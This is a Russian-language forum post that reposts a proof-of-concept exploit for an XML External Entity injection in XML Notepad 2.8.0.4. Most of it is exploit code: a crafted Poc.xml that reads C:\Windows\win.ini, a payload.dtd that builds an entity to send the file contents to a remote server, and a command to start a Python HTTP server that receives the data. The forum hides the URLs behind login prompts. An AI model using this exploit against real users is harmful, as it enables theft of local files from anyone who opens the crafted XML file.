Интересно XML Notepad 2.8.0.4 - XML External Entity Injection

GhosTM@n

Original poster
Pro Member
Сообщения
48
Реакции
23
Посетить сайт
# Exploit Title: XML Notepad 2.8.0.4 - XML External Entity Injection
# Date: 2019-11-11
# Exploit Author: 8-Team / daejinoh
# Vendor Homepage:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


# Software Link:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


# Version: XML Notepad 2.8.0.4
# Tested on: Windows 10 Pro
# CVE : N/A

# Step
1) File -> Open -> *.xml

# Exploit Code

1) Server(python 3.7) : python -m http.server
2) Poc.xml :
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "C:\Windows\win.ini">
<!ENTITY % dtd SYSTEM "

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

">
%dtd;]>
<pwn>&send;</pwn>

3) payload.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM '

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

'>">
%all;